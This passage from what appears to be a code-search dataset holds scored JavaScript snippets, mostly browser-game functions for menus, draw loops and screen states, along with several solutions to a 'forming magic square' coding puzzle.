"docid": "d373129b2c28864293cfa488f3a1a111", "score": "0.625472", "text": "function displayMenu() {\n if (gameState === \"menu\") {\n image(menuBackground, width/2, height/2, width, height);\n playButton.show();\n optionsButton.show();\n quitButton.show();\n if (playButton.isClicked() && ButtonReady) {\n gameState = \"game\";\n }\n if (optionsButton.isClicked() && ButtonReady) {\n gameState = \"options\";\n }\n if (quitButton.isClicked() && ButtonReady) {\n beep(\"You'll never escape me!\");\n // window.close();\n }\n }\n}", "title": "" }, { "docid": "4ef961ed16fb127b9dc1e2b13f500001", "score": "0.6249254", "text": "show() {\n background(0)\n for (let p = 0; p < this.nLeds; p++) {\n this.Pixels[p].show()\n }\n drawGui()\n }", "title": "" }, { "docid": "a95b187b11bb67f0e2b2edebb7926d80", "score": "0.62472945", "text": "function main(){\n clearScreen();\n disableScroll();\n initEnvironment();\n drawHill(state_space, 0, -HEIGHT/2);\n}", "title": "" }, { "docid": "36f6a80605139101aebe7316c3ba8e27", "score": "0.6246246", "text": "function startGame() {\r\n gameScreen = PLAYING;\r\n}", "title": "" }, { "docid": "7f616b3ddad1d49361c691c18148b7cd", "score": "0.62461084", "text": "function draw() {\nif (mouseIsPressed){\n fade += -5;\n}\n\n// Transition between game states\nif(fade < 10){\n startGame();\n}\nif(fade2 <10){\n transition();\n}\nif(fade3 <10){\n game1_start();\n}\n if (gameScreen === 0) { \n initScreen();\n } else if (gameScreen == 1) { \n transitionScreen();\n } else if (gameScreen == 2) { \n transitionScreen2();\n } else if (gameScreen ==3){\n gameplayScreen();\n }\n\n}", "title": "" }, { "docid": "b20469998b4e52f7d0a4b90a6842141c", "score": "0.62433034", "text": "function main() {\r\n drawMainMenu();\r\n }", "title": "" }, { "docid": "7ec357a87b778b6621eb377c9b6b5c44", "score": "0.6233107", "text": "function update() {\n setActiveImg();\n renderBackground(ctxhd, canvashd, 1920, 1080);\n}", "title": "" }, { "docid": "79d55f932125788f131cd429c0dfaee9", "score": "0.6230256", "text": "function startMain() {\n renderBg();\n w.requestAnimationFrame(resumeMain);\n }", "title": "" }, { "docid": "3b76b93a0724d44f74b837b30fdb0448", "score": "0.6226184", "text": "function backgroundTick() {\n starFieldAnimation();\n game.stage.update();\n }", "title": "" }, { "docid": "a297e7db65f9ce9062fe24016313d5af", "score": "0.6223161", "text": "function draw() {\n console.log(begin);\n if(begin === 2){ //if the mouse is clicked \"begin\" inscreases to 2 and the game begins\n\n // Clear the background to black\n background(0);\n\n // Handle input for the tiger\n tiger.handleInput();\n //tiger.reset();\n tiger.death(endScreen);\n\n // Move all the \"animals\"\n tiger.move(bush);\n antelope.move();\n zebra.move();\n bee.move();\n\n // Handle the tiger eating any of the prey\n tiger.handleEating(antelope);\n tiger.handleEating(zebra);\n tiger.handleEating(bee);\n\n\n //Display the bush\n bush.display();\n //Handle whether the tiger is hiding in the bush.\n bush.hiding(tiger);\n\n // Display all the \"animals\"\n tiger.display();\n antelope.display();\n zebra.display();\n bee.display();\n\n showEnd.display(tiger);\n\n\n }else{\n //Display the start screen.\n console.log(begin);\n show.display();\n console.log(begin);\n }\n}", "title": "" }, { "docid": "a0b30b752b0d2a2d81a0282b8981208c", "score": "0.62205195", "text": "function onStartScreenClick(){\n if(currScreen==0){\n infoText.visible=true;\n titleText.visible=false;\n bgMusic.play();\n currScreen++;\n }\n else if(currScreen==1){\n infoText.visible=false;\n infoText2.visible=true;\n currScreen++;\n }\n else {\n startScreen.visible = false;\n //startImage.visible=false;\n world.visible=true;\n playerStopped=false;\n }\n}", "title": "" }, { "docid": "cea5c453ab8ab182658638a778b07f7c", "score": "0.6219194", "text": "function changeBackground() {\n if (global.isBlackBG) {\n global.bgColour = 0;\n global.loadingColour = 255;\n global.isBlackBG = false\n } else if (!global.isBlackBG){\n global.bgColour = 255;\n global.loadingColour = 0;\n global.isBlackBG = true\n }\n background(global.bgColour)\n}", "title": "" }, { "docid": "d0d80ede1a33e5ce40644446720ce0bd", "score": "0.62178564", "text": "display() {\n //At even intervals...\n if (second() % 2 == 0) {\n\n //slowly decrease the opacity until its completely white, which then stays white\n bright -= 2;\n //dynamic purple hues \n background(148, 0, random(211, 255), bright);\n }\n\n }", "title": "" }, { "docid": "8daea239f966e7d0bf65057ff045d4c4", "score": "0.62128735", "text": "function mousePressed() {\n // your \"mouse pressed\" code goes here\n var s;\n if (mode == 0) {\n textSize(25);\n s = \"Start Game\";\n if (mouseX>300-textWidth(s)/2 && mouseX<300+textWidth(s)/2\n && mouseY>225 && mouseY<250) {\n mode = 1;\n bgm.stop();\n button.play();\n bgm.play();\n }\n s = \"Build Map\";\n if (mouseX>300-textWidth(s)/2 && mouseX<300+textWidth(s)/2\n && mouseY>270 && mouseY<295) {\n mode = 2;\n bgm.stop();\n button.play();\n bgm.play();\n }\n } else if (mode == 1) {\n textSize(25);\n s = \"Restart\";\n text(s, 700-textWidth(s)/2, 250);\n if (mouseX>700-textWidth(s)/2 && mouseX<700+textWidth(s)/2\n && mouseY>225 && mouseY<250) {\n snake = [{x:9,y:9}, {x:8,y:9}, {x:7,y:9}, {x:6,y:9}, {x:5,y:9}];\n food = {x:20,y:9};\n score = 0;\n game_over = 0;\n direction = 0;\n bgm.stop();\n button.play();\n bgm.play();\n }\n s = \"Back\";\n text(s, 700-textWidth(s)/2, 290);\n if (mouseX>700-textWidth(s)/2 && mouseX<700+textWidth(s)/2\n && mouseY>270 && mouseY<290) {\n snake = [{x:9,y:9}, {x:8,y:9}, {x:7,y:9}, {x:6,y:9}, {x:5,y:9}];\n food = {x:20,y:9};\n score = 0;\n game_over = 0;\n direction = 0;\n mode = 0;\n bgm.stop();\n button.play();\n bgm.play();\n }\n } else if (mode == 2) {\n textSize(25);\n s = \"Clear All\";\n if (mouseX>700-textWidth(s)/2 && mouseX<700+textWidth(s)/2\n && mouseY>225 && mouseY<250) {\n for (var i = 0; i < 20; i++) {\n for (var j = 0; j < 30; j++) {\n block[i][j] = 0;\n }\n }\n button.play();\n }\n s = \"Save & Back\";\n if (mouseX>700-textWidth(s)/2 && mouseX<700+textWidth(s)/2\n && mouseY>270 && mouseY<290) {\n mode = 0;\n bgm.stop();\n button.play();\n bgm.play();\n }\n\n /* set blocks */\n for (var i = 0; i < 20; i++) {\n for (var j = 0; j < 30; j++) {\n if (mouseX>j*20 && mouseX<(j+1)*20\n && mouseY>i*20 && mouseY<(i+1)*20) {\n block[i][j] = 1;\n }\n }\n }\n } else {\n console.log(\"unexpected mode in mousePressed\");\n }\n}", "title": "" }, { "docid": "a429171579d366f67571030281b8841a", "score": "0.62118196", "text": "function draw() {\n // Clear the background to black\n background(bgImage);\n\n // In draw we just tell the current scene to draw\n // and whichever scene it is will display as per its class\n currentScene.draw();\n\n}", "title": "" }, { "docid": "2024351de549f5cdd86957d4d4fe75b4", "score": "0.6209747", "text": "function ScoreScreen()\n{\n startScene.visible = false;\n gameOverScene.visible = false;\n gameScene.visible = false;\n scoreScene.visible = true;\n instructionScene.visible = false;\n}", "title": "" }, { "docid": "a354b94dd416f33ab167c828647e89c6", "score": "0.6202122", "text": "onResetEvent() {\n me.audio.stopTrack(mapSfx['level-completed-background']);\n me.audio.playTrack(mapSfx['level-completed-background']);\n\n const image = me.loader.getImage('level_completed_screen');\n const backgroundImage = new me.Sprite(0, 0, { image });\n\n // position and scale to fit with the viewport size:\n const { viewport } = me.game;\n backgroundImage.anchorPoint.set(0, 0);\n backgroundImage.scale(\n viewport.width / backgroundImage.width,\n viewport.height / backgroundImage.height\n );\n\n me.game.world.addChild(backgroundImage, 1);\n me.game.world.addChild(new TextRenderable(), 2);\n\n // change to play state on press Enter or click/tap\n me.input.bindKey(me.input.KEY.ENTER, 'enter', true);\n this.handler = me.event.subscribe(me.event.KEYDOWN, this.handleKeyDown);\n }", "title": "" }, { "docid": "79b3032b21704b695aac603f662d9c1d", "score": "0.6196655", "text": "startGame() {\r\n\t\t// Reset game on every start, to ensure user always gets a new screen\r\n\t\tgame.resetGame();\r\n\r\n\t\t//set up active phrase object\r\n\t\tthis.activePhrase = new Phrase(game.getRandomPhrase());\r\n\r\n\t\t// toggle off the start overlay\r\n\t\tconst introOverlay = document.getElementById('overlay');\r\n\t\tintroOverlay.style.display = 'none';\r\n\r\n\t\t//Render the game board\r\n\t\tthis.activePhrase.addPhraseToDisplay();\r\n\t}", "title": "" }, { "docid": "1c386f7f89aadb72d536dcd59f2fb805", "score": "0.6195821", "text": "function startGame() {\n showNames();\n hideWelcomeScreen();\n showTable();\n}", "title": "" }, { "docid": "7731e6ae0032414355250e929c1cc191", "score": "0.61957204", "text": "function draw() {\r\n background(255);\r\n\r\n // initialize if reset_flag is set\r\n if (reset_flag) {\r\n init();\r\n reset_flag = 0;\r\n }\r\n\r\n //function to draw input\r\n draw_input();\r\n\r\n if (start_flag && steps != 0) {\r\n //sleep(1000); //function for delay between states\r\n\r\n //function to generate next state\r\n generate();\r\n if (steps > 0) steps--;\r\n }\r\n\r\n //to copy states from computation board to display board\r\n for (let x = 10; x < columns + 10; x++) {\r\n for (let y = 10; y < rows + 10; y++) {\r\n display_board[x - 10][y - 10] = board[x][y];\r\n }\r\n }\r\n\r\n // to display cells on screen\r\n for (let i = 0; i < columns; i++) {\r\n for (let j = 0; j < rows; j++) {\r\n if ((display_board[i][j] == 1)) fill(0, 255, 255); // blue if alive\r\n else fill(255); // white if dead\r\n stroke(0);\r\n rect((i) * cell_width, (j) * cell_width, cell_width - 1, cell_width - 1);\r\n }\r\n }\r\n\r\n}", "title": "" }, { "docid": "df4d15a78066337c71aef73c48476463", "score": "0.61900085", "text": "function drawBackground( ) {\r\n\t\tbgContext.save();\r\n\t\t\r\n\t\tbgContext.fillStyle = gameBGColor;\r\n\t\tbgContext.fillRect( 0, 0, gameWidth, gameHeight );\r\n\t\t\r\n\t\tbgContext.restore();\r\n\t}", "title": "" }, { "docid": "392f5e0afb3c3f3ac02370057d6db8a9", "score": "0.6186336", "text": "function stateCheck() {\n //This sets the in the first 10 seconds, the load screen will show then switch\n if (playHead <= 120) {\n loadScreen = true;\n } else {\n //This checks the position of the vis switch to switch between the visualisations\n loadScreen = false;\n if (visualSketch) {\n doorbellArp = false;\n scattyArp = true;\n } else {\n doorbellArp = true;\n scattyArp = false;\n }\n }\n\n}", "title": "" }, { "docid": "5de6c3f120663b1ee00b8d6f31c7e0d5", "score": "0.6185166", "text": "start() {\n instructions.classList.remove(\"visible\");\n\n // this.drawBg();\n }", "title": "" }, { "docid": "d804564eb7f5a268aeeb2a51198ae8d0", "score": "0.6180692", "text": "display(){\n image(this.bg, 0, 0);\n drawSprites(purpleFlowers);\n drawSprites(pinkFlowers);\n drawSprites(yellowFlowers);\n }", "title": "" }, { "docid": "ca732903a0cf611af585b78cd445b37a", "score": "0.61793125", "text": "function startCurrentGame() {\n menu.style.display = 'none';\n\t\tstartGame();\n\n }", "title": "" }, { "docid": "5ca676f38b79e24ed7fcb6c109bdece5", "score": "0.6175071", "text": "function startHandler(e){\n\t\tintroScene.visible = false;\n\t\tstate = gameFirstPass;\n\t\tgameScene.visible = true;\n\t}", "title": "" }, { "docid": "6aee8e625c7c8933ff74adfbcb87c689", "score": "0.6163047", "text": "startScreenDisplay() {\n push();\n let title = this.gameName;\n fill(this.fillColor);\n textSize(70);\n textAlign(CENTER, CENTER);\n text(title, this.startTitleX, this.startTitleY);\n pop();\n this.play();\n }", "title": "" }, { "docid": "578d263e8ab37f3460f5e2dff08d3b53", "score": "0.6160373", "text": "function mainLoop() {\n switch (MYAPP.state) {\n case 'startScreen':\n MYAPP.game.startScreen();\n break;\n case 'gameLoop':\n CTX.clearRect(0, 0, CANVAS.width, CANVAS.height);\n gameLoop();\n break;\n case 'death':\n MYAPP.game.deathScreen();\n break;\n case 'victory':\n MYAPP.game.victoryScreen();\n break;\n default:\n console.log('Main loop state error: ' + MYAPP.state);\n }\n}", "title": "" }, { "docid": "757bf3ddeb501c18ba2f33aaeea2104a", "score": "0.6156085", "text": "function StartScreen(game) {\r\n\tthis.titleScreen = true; // show title screen\r\n\tthis.controlScreen = false; // show control screen\r\n\tthis.game = game;\r\n}", "title": "" }, { "docid": "e44e4e59407aafbc8b752d40e0a34f4d", "score": "0.61536956", "text": "startGame() {\r\n $('#overlay').hide();\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n\r\n }", "title": "" }, { "docid": "55ebd78372192c84e3cd29e36b0dc2b2", "score": "0.6153508", "text": "function draw() {\r\n \r\n background(0);\r\n\r\n // Life Counter\r\n textSize(32);\r\n text('Lives',620,30);\r\n text(Lives,750,30);\r\n fill(255,255,255);\r\n\r\n // Game Over Screen\r\n if(Lives < 1)\r\n {\r\n textSize(48);\r\n textAlign(CENTER);\r\n fill(255,0,0);\r\n text('GAME OVER', 400,300);\r\n }\r\n\r\n playerController();\r\n enemyChase(1);\r\n pug.display();\r\n cat.display();\r\n trafficCone.display();\r\n trafficCone2.display();\r\n trafficCone3.display();\r\n \r\n}", "title": "" }, { "docid": "0d46630eb44703eda1cb6b235def4949", "score": "0.6151955", "text": "function Background(startX) {\n // function to draw the background\n this.x = startX;\n this.img = backgroundImg;\n this.show = function () {\n image(this.img, this.x, 0)\n //theSun.update();\n //theSun.show();\n }\n // function to update foreground (make it move)\n this.update = function () {\n this.x -= gameSpeed / 3;\n }\n // function to check if the background is off the screen\n this.needsNew = function () {\n return this.x < (-width);\n }\n}", "title": "" }, { "docid": "6bb1b040b02d88f58004671b6599e6b9", "score": "0.6149807", "text": "function startGame() {\n state = {};\n player.health = 200;\n ogre.health = 400;\n wizard.health = 800;\n demonbeast.health = 700;\n guard.health = 700;\n boss.health = 900;\n showText(1);\n}", "title": "" }, { "docid": "250d5aaa5099bdae470833709b619d12", "score": "0.6141362", "text": "startGame () {\n document.querySelector('#overlay').style.display = 'none'\n this.activePhrase = this.getRandomPhrase()\n this.activePhrase.addPhrasetoDisplay()\n }", "title": "" }, { "docid": "61472545ce8e29db52944ad6d5861d96", "score": "0.61402285", "text": "displayCinematic() {\n background(this.sceneData.bgColor); // Black\n this.strugglingAdam.displaySurvivalMode();\n }", "title": "" }, { "docid": "038b7ed10be4452bdd431ded1b28df47", "score": "0.61384153", "text": "startGame(){\n\n document.getElementById('overlay').style.display = 'none';\n\n \tthis.activePhrase = this.getRandomPhrase();\n \n this.activePhrase.addPhraseToDisplay();\n }", "title": "" }, { "docid": "113c4240a560a7165fe89a3a8f6f4b25", "score": "0.6138048", "text": "function startGame(){\n startScreen.style.display = 'none';\n background.style.display = 'block';\n canvas.style.display = 'block';\n intervalID = setInterval(() => {\n requestAnimationFrame(draw)\n }, 10)\n}", "title": "" }, { "docid": "44bdbed5d7bd4f86a07d2ae1ccf76294", "score": "0.6136414", "text": "function draw() {\n background(0, 0, 32);\n showFirework();\n showBird();\n colliding();\n}", "title": "" }, { "docid": "074585a2a2c79b8b331aedd576b050a8", "score": "0.6129143", "text": "function enterGame() {\n\talert('Buckle up, game is starting!');\n\n\tswitch (role) {\n\t\tcase 'engineer':\n\t\t\t\tdrawIngameEngineer();\n\t\t\tbreak;\n\n\t\tcase 'gunner':\n\t\t\t\tif(usingDesktop)\n\t\t\t\t\tdrawIngameDesktop();\n\t\t\t\telse\n\t\t\t\t\tdrawIngameGunnerPilot();\n\t\t\tbreak;\n\n\t\tcase 'pilot':\n\t\t\t\tif(usingDesktop)\n\t\t\t\t\tdrawIngameDesktop();\n\t\t\t\telse\n\t\t\t\t\tdrawIngameGunnerPilot();\n\t\t\tbreak;\n\t}\n}", "title": "" } ]
3fdf4373edc43e6e2da5d3a893301a60
Complete the formingMagicSquare function below.
[ { "docid": "80ce7ee16f8fac93eaf822227c476945", "score": "0.49742523", "text": "function formingMagicSquare(s) {\n let lowestCost\n allSolutions.forEach(solution => {\n const cost = getCost(s, solution)\n lowestCost = lowestCost === undefined\n ? cost\n : Math.min(lowestCost, cost)\n })\n\n return lowestCost\n}", "title": "" } ]
[ { "docid": "a00af6357cac8e1d384cd6a794ffa691", "score": "0.80387807", "text": "function formingMagicSquare(s) {\n \n\n}", "title": "" }, { "docid": "0124f7ac6d06f7bf2e2ebc5f8bb2f15f", "score": "0.5878955", "text": "function formingMagicSquare(a) {\n\n let sum = [0,0,0,0,0,0,0,0], diff_row = [0,0,0], diff_col = [0,0,0], diff_dia = [0,0], max_sum = 0, i, j, cost = 0;\n\n for (i = 0; i < 3; i++) {\n for (j = 0; j < 3; j++) {\n sum[i] += a[i][j];\n }\n }\n\n for (i = 0; i < 3; i++) {\n for (j = 0; j < 3; j++) {\n sum[i + 3] += a[j][i];\n }\n }\n\n for (i = 0; i < 3; i++) {\n for (j = 0; j < 3; j++) {\n if (i == j) {\n sum[6] += a[i][j];\n }\n\n if (i + j == 2) {\n sum[7] += a[i][j];\n }\n }\n }\n for (i = 0; i < sum.length; i++) {\n if (sum[i] > max_sum)\n max_sum = sum[i];\n }\n for (i = 0; i < 3; i++) {\n diff_row[i] = max_sum - sum[i];\n diff_col[i] = max_sum - sum[i + 3];\n }\n for (i = 0; i < 3; i++) {\n for (j = 0; j < 3; j++) {\n if (diff_row[i] == diff_col[j]) {\n cost += Math.abs(diff_row[i]);\n diff_col[j] = -1000;\n diff_row[i] = -2000;\n break;\n }\n }\n }\n\n return cost;\n\n\n}", "title": "" }, { "docid": "875bddb8fd06facd1eed204684f65c9f", "score": "0.58525366", "text": "function isSquareMagic(squareList) {\n // Performing math that determines the sum of array number combinations\n let firstRow = squareList[0] + squareList[1] + squareList[2];\n let secondRow = squareList[3] + squareList[4] + squareList[5];\n let thirdRow = squareList[6] + squareList[7] + squareList[8];\n let firstColumn = squareList[0] + squareList[3] + squareList[6];\n let secondColumn = squareList[1] + squareList[4] + squareList[7];\n let thirdColumn = squareList[2] + squareList[5] + squareList[8];\n let firstDiagonal = squareList[0] + squareList[4] + squareList[8];\n let secondDiagonal = squareList[2] + squareList[4] + squareList[6];\n\n // If statement that finds whether or not the numbers form a magic square\n if (firstRow == 15 && secondRow == 15 && thirdRow == 15\n && firstColumn == 15 && secondColumn == 15 && thirdColumn == 15\n && firstDiagonal == 15 && secondDiagonal == 15) {\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "fe99101b4e2e6e12f0440d25d066802e", "score": "0.5850826", "text": "function generateSquare(n) { \n \n // # 2-D array with all \n // # slots set to 0 \n // magicSquare = [[0 for x in range(n)] \n // for y in range(n)] \n\n // # initialize position of 1 \n // i = n / 2\n // j = n - 1\n \n // # Fill the magic square \n // # by placing values \n // num = 1\n // while num <= (n * n): \n // if i == -1 and j == n: # 3rd condition \n // j = n - 2\n // i = 0\n // else: \n \n // # next number goes out of \n // # right side of square \n // if j == n: \n // j = 0\n \n // # next number goes \n // # out of upper side \n // if i < 0: \n // i = n - 1\n \n // if magicSquare[int(i)][int(j)]: # 2nd condition \n // j = j - 2\n // i = i + 1\n // continue\n // else: \n // magicSquare[int(i)][int(j)] = num \n // num = num + 1\n \n // j = j + 1\n // i = i - 1 # 1st condition \n \n\n // # Printing magic square \n // print (\"Magic Squre for n =\", n) \n // print (\"Sum of each row or column\", \n // n * (n * n + 1) / 2, \"\\n\") \n \n // for i in range(0, n): \n // for j in range(0, n): \n // print('%2d ' % (magicSquare[i][j]), \n // end = '') \n \n // # To display output \n // # in matrix form \n // if j == n - 1: \n // print() \n\n}", "title": "" }, { "docid": "4f423f5cb216729637a757ec0b00aa1d", "score": "0.58265525", "text": "checkMagicSquare(testBoard, mark) {\r\n\t\t\r\n\t\t//Convert board marks to magic square numbers\r\n\t\tfor (let i = 0; i < testBoard.length; i++) {\r\n\t\t\tfor (let j = 0; j < testBoard[i].length; j++) {\r\n\t\t\t\tif (testBoard[i][j] === mark || testBoard[i][j] === '')\r\n\t\t\t\t\ttestBoard[i][j] = this.magicSquare[i][j];\r\n\t\t\t\telse testBoard[i][j] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t//check if sum of possible selections is 15 - ref magic square numbers\r\n\t\tif (testBoard[0][0] + testBoard[0][1] + testBoard[0][2] === 15) return true;\r\n\t\telse if (testBoard[1][0] + testBoard[1][1] + testBoard[1][2] === 15)\r\n\t\t\treturn true;\r\n\t\telse if (testBoard[2][0] + testBoard[2][1] + testBoard[2][2] === 15)\r\n\t\t\treturn true;\r\n\t\telse if (testBoard[0][0] + testBoard[1][0] + testBoard[2][0] === 15)\r\n\t\t\treturn true;\r\n\t\telse if (testBoard[0][1] + testBoard[1][1] + testBoard[2][1] === 15)\r\n\t\t\treturn true;\r\n\t\telse if (testBoard[0][2] + testBoard[1][2] + testBoard[2][2] === 15)\r\n\t\t\treturn true;\r\n\t\telse if (testBoard[0][0] + testBoard[1][1] + testBoard[2][2] === 15)\r\n\t\t\treturn true;\r\n\t\telse if (testBoard[2][0] + testBoard[1][1] + testBoard[0][2] === 15)\r\n\t\t\treturn true;\r\n\t\telse return false;\r\n\t}", "title": "" }, { "docid": "f5be87e25de45c97ba1739c7b54edecc", "score": "0.5809319", "text": "function Square() {}", "title": "" }, { "docid": "f5be87e25de45c97ba1739c7b54edecc", "score": "0.5809319", "text": "function Square() {}", "title": "" }, { "docid": "4fbb05bd2fdcc461261406ab802e5f2f", "score": "0.5730357", "text": "function makeSquare (size) {\n var line = ''\n for (var i1 = 0; i1 < size; i1++){\n for (var i = 0; i < size; i++){\n line = line + '*'\n }\n line = line + '\\n'\n}\n return line\n}", "title": "" }, { "docid": "82ae41200de0af4c58ad2f62cac96bc3", "score": "0.5556177", "text": "function makePuzzleObject() { \n for(var i = 0; i < MAX_HEIGHT; i++){\n for(var j = 0; j < MAX_WIDTH; j++){\n var newSquareObj = new Square();\n // Turn (i,j) coordinates into Cartesian (x,y) coordinates\n var xNewSquare = j - (MAX_WIDTH / 2) + patternNumbers.xOffset;\n var yNewSquare = (MAX_HEIGHT / 2) - i + patternNumbers.yOffset;\n // Calculate length of radius between square and center of pattern\n var hypotenuse = Math.sqrt(xNewSquare * xNewSquare + yNewSquare * yNewSquare);\n // Calculate angle square forms with center of puzzle\n var sinNewSquare = (yNewSquare / hypotenuse) || 0;\n var arcsinNewSquare = Math.asin(sinNewSquare);\n var angleRad = arcsinNewSquare;\n if (xNewSquare < 0) {\n angleRad = Math.PI - angleRad;\n }\n if (angleRad < 0) {\n angleRad = 2*Math.PI + angleRad;\n }\n var angleDeg = (angleRad * 360) / (2 * Math.PI);\n // Set Hue value to angle, adjusted for origin angle of this level\n var newHue = angleDeg + patternNumbers.hueOriginAngle;\n if (newHue > 360){\n newHue = newHue - 360;\n }\n var maxDiagonal = Math.sqrt(MAX_HEIGHT * MAX_HEIGHT + MAX_WIDTH * MAX_WIDTH);\n var saturationRatio = hypotenuse / maxDiagonal;\n var newSaturation = \n MAX_SATURATION - saturationRatio * (MAX_SATURATION - MIN_SATURATION);\n // Calculate adjusted radius, which goes up and down as actual radius increases\n // This makes \"bullseye\" effect of light and dark rings \n var adjustedHypotenuse = hypotenuse % (2 * lightnessRadius);\n var lightnessRatio = \n (Math.abs(lightnessRadius - adjustedHypotenuse)) / lightnessRadius;\n // Set Lightness value based on CONSTANT_VARIABLES\n var newLightness = \n MIN_LIGHTNESSS + lightnessRatio * (MAX_LIGHTNESSS - MIN_LIGHTNESSS);\n // Set traits of Square object \n newSquareObj.setHslColor( \n \"hsl(\" + newHue + \", \" + newSaturation + \"%, \" + newLightness + \"%)\");\n newSquareObj.setWinningI(i);\n newSquareObj.setWinningJ(j);\n puzzleObj[i][j] = newSquareObj;\n }\n }\n}", "title": "" }, { "docid": "3c729c35d68fec821564b9623ad6abc6", "score": "0.5544274", "text": "square(size){\n\t\treturn size * size;\n\t}", "title": "" }, { "docid": "fa4c65912d3af353bc28f1a7b012befc", "score": "0.55246294", "text": "function genPiece() {\n \n}", "title": "" }, { "docid": "de0c7e35eaca3dd79e6d00949c6be42e", "score": "0.5518396", "text": "function isMagicSquare(mat) {\n var isit = true;\n\n\n return isit\n}", "title": "" }, { "docid": "f0fac7d33871aa160068df1a2bec1112", "score": "0.5434751", "text": "function renderSquare() {\n let side = document.getElementById(\"square-value\").value;\n let areaOfSquare = shapeFactory(side);\n let areaResult = areaOfSquare.printsquareArea();\n document.getElementById(\"step-2\").style.display = \"none\";\n document.getElementById(\"step-3\").style.display = \"block\";\n document.getElementById(\n \"result-para\"\n ).innerHTML = `You have calculated the area of a <b>square</b> with side of ${side}. Below is your result`;\n document.getElementById(\n \"result-heading\"\n ).innerHTML = `The area is ${areaResult}`;\n}", "title": "" }, { "docid": "a76ecb2e1a404f6344f3be07789fd57b", "score": "0.5419629", "text": "function makeSquare(size) {\n let square = makeRectangle(size, size);\n }", "title": "" }, { "docid": "e97cf003f31a9a1804767ee1517de91d", "score": "0.54129946", "text": "function insertSquare(){\n let size = document.getElementById('sq-input').value;\n let xVal = randomVal(0,450-size);\n let yVal = randomVal(0,450-size);\n let sq = new Square(xVal,yVal,size);\n}", "title": "" }, { "docid": "6bdadf08286b58ba501ac1b32ec24d90", "score": "0.53805584", "text": "function displayShape(){\n miniSquares.forEach(square => {\n square.classList.remove('tetromino')\n square.style.backgroundColor = ''\n // squares.style.border = ''\n })\n upNextPieces[nextRandom].forEach( index =>{\n miniSquares[miniIndex + index].classList.add('tetromino')\n miniSquares[miniIndex + index].style.backgroundColor = colors[nextRandom]\n // miniSquares[miniIndex + index].style.border = '1px solid #333'\n })\n}", "title": "" }, { "docid": "0846edaeee35a9583751f6805a49ab85", "score": "0.5354594", "text": "function displayShape(){\r\n // removes previous next up from the minigrid\r\n displaySquares.forEach(square => {\r\n square.classList.remove('pieces');\r\n square.style.backgroundColor = '';\r\n })\r\n upNextPiece[nextRandom].forEach( index => {\r\n displaySquares[displayIndex + index].classList.add('pieces');\r\n displaySquares[displayIndex + index].style.backgroundColor = colors[nextRandom];\r\n })\r\n\r\n }", "title": "" }, { "docid": "fd3387983859c157b421723dd7ee766c", "score": "0.53434837", "text": "function generate(){\n var pixelPos = [-document.getElementsByClassName(\"inputPos\")[0].children[1].value,+document.getElementsByClassName(\"inputPos\")[0].children[2].value];\n var name = document.getElementsByClassName(\"inputName\")[0].children[1].value;\n var dimensions = [document.getElementsByClassName(\"inputSize\")[0].children[1].value,document.getElementsByClassName(\"inputSize\")[0].children[2].value];\n var start = [+document.getElementsByClassName(\"inventoryStart\")[0].children[1].value,+document.getElementsByClassName(\"inventoryStart\")[0].children[2].value];\n var end = [document.getElementsByClassName(\"inventoryEnd\")[0].children[1].value,document.getElementsByClassName(\"inventoryEnd\")[0].children[2].value];\n var scale = [document.getElementsByClassName(\"boxSize\")[0].children[1].value,document.getElementsByClassName(\"boxSize\")[0].children[2].value];\n var pieces = [document.getElementsByClassName(\"pieces\")[0].children[1].value,document.getElementsByClassName(\"pieces\")[0].children[2].value];\n\tvar cover = document.getElementsByClassName(\"cover\")[0].children[1].checked;\n\tvar backport = document.getElementsByClassName(\"backport\")[0].children[1].checked;\n\t// if dimensions is at its default, make it so.\n\tdimensions[0] === \"\" ? dimensions[0] = 256 : 1;\n\tdimensions[1] === \"\" ? dimensions[1] = 256 : 1;\n\n\t// if the end is at default, make it so.\n\tend[0] === \"\" ? end[0] = dimensions[0] : 1;\n\tend[1] === \"\" ? end[1] = dimensions[1] : 1;\n\n\t// if the scale is default, lets make it so.\n\tscale[0] === \"\" ? scale[0] = 16 : 1;\n\tscale[1] === \"\" ? scale[1] = 16 : 1;\n\n\t// and finally, if the pieces are default, make it so.\n\tpieces[0] === \"\" ? pieces[0] = 4 : 1;\n\tpieces[1] === \"\" ? pieces[1] = 4 : 1;\n//\tif(backport) pixelPos[0] *= -1;\n//\tconsole.log(\" \" + dimensions + \" \" + end + \" \" + scale + \" \" + pieces + \" \" +start + \" \" + pixelPos);\n\tbackport ? xAxisAngle = 45 : xAxisAngle = 0;\n\t//check the scaling for the actual image. 32x32? 32x16? lol idc it should work tho.\n\tscale.forEach(function(val,pos,arr){arr[pos]=val/16});\n\t//i mean the rest of these values should work as is, so uhhhh... plug them in????\n try { document.getElementsByClassName(\"output\")[0].children[0].innerText = JSON.stringify(outputAllElements(pixelPos,name,dimensions,pieces,start,end,scale,cover,backport));\n }catch(error){document.getElementsByClassName(\"output\")[0].children[0].innerText = error;\n }\n}", "title": "" }, { "docid": "e712c7bfaffbb1b7c9ce0c656e738a48", "score": "0.5331911", "text": "function createSquare() {\r\n this.objID = 'Square';\r\n this.name = name;\r\n this.selected = false;\r\n this.x = xPosition - objOffset;\r\n this.y = yPosition - objOffset;\r\n this.width = 100;\r\n this.height = 100;\r\n this.comment = null;\r\n}", "title": "" }, { "docid": "ea754ab95c6747b5839a7982757bf72f", "score": "0.53244084", "text": "eachSQR() {\n var sqr = [];\n var age = this.state.age\n var animal = this.state.animal;\n var numofChickens = this.animalCalc('chicken', age);\n var numofPigs = this.animalCalc('pig', age);\n var numofCows = this.animalCalc('cow', age);\n var unfilled = this.state.unit.type;\n var text = \"If you live in the U.S., you've probably eaten \" + numofChickens[0] + \" lbs of chicken, \" + numofPigs[0] + \" lbs of pork, and \" + numofCows[0] + \"lbs of beef. To put this in perspective, you've eaten \" + numofChickens[1] + \" chickens, \" + numofPigs[1] + \" pigs, and \" + numofCows[1] + \" cows! Holy \" + animal.toUpperCase() +\"!\";\n\n sqr.push(<TextBox display={this.state.age > 0 ? 'contextOn':'contextOff'} age={this.state.age} data={this.state.unit} text={text}/>)\n sqr.push(<select ref=\"animaloption\" className={this.state.age > 0 ? 'contextOn':'contextOff'} onChange={this.getUnit.bind(this)}><option value=\"chicken\">chicken</option><option value=\"pig\">pig</option><option value=\"cow\">cow</option></select> )\n\n var numOfAnimals = this.animalCalc(animal, age);\n\n for(var i = 0; i < 